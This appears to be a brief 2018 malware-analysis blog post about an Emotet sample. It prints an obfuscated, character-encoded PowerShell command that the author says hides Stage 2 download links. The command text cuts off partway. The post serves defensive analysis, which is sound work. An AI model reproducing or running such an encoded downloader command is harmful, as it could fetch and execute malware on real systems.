June 2018, Emotet encoding observed and decoded
Nothing earth shattering to report here, I just wanted to share the latest Emotet encoded powershell command and one simple way to decode it to extract the Stage 2 download links. I know, a lot of these obfuscated powershells can be easily decoded by simply using the write-host command, however, I do like to try different ways to reverse the obfuscation, as I think it just makes for a good analyst exercise. The powershell command is encoded as: POwerSHell ieX("$(sV 'ofs' '' )" +[STrInG]( '15x77-81I95>124O96I92O11x22-11-69!78J92>6J68>73-65>78-72t95t11x89t74!69O79>68t70-16-15>92J64-89x122t114!11J22t11!69O78x92t6-68-73t65-78>72J95H11>120t82!88t95H78>70-5O101-78!95>5x124V78J73!104I71t66-78!69x95O16H15I97x88t94t74>66>11x22I11>12x67x95H95>91x17O4H4I79x68>89J68-95x67J82I76V66I71J88t95>89t74V91O5O72x68H70!4I71-100J111O70x4I107!67J95I95J91t17I4>4t92J92J92O5!70t82I91H67!74>70I70I68O72H67V74t5!72O68...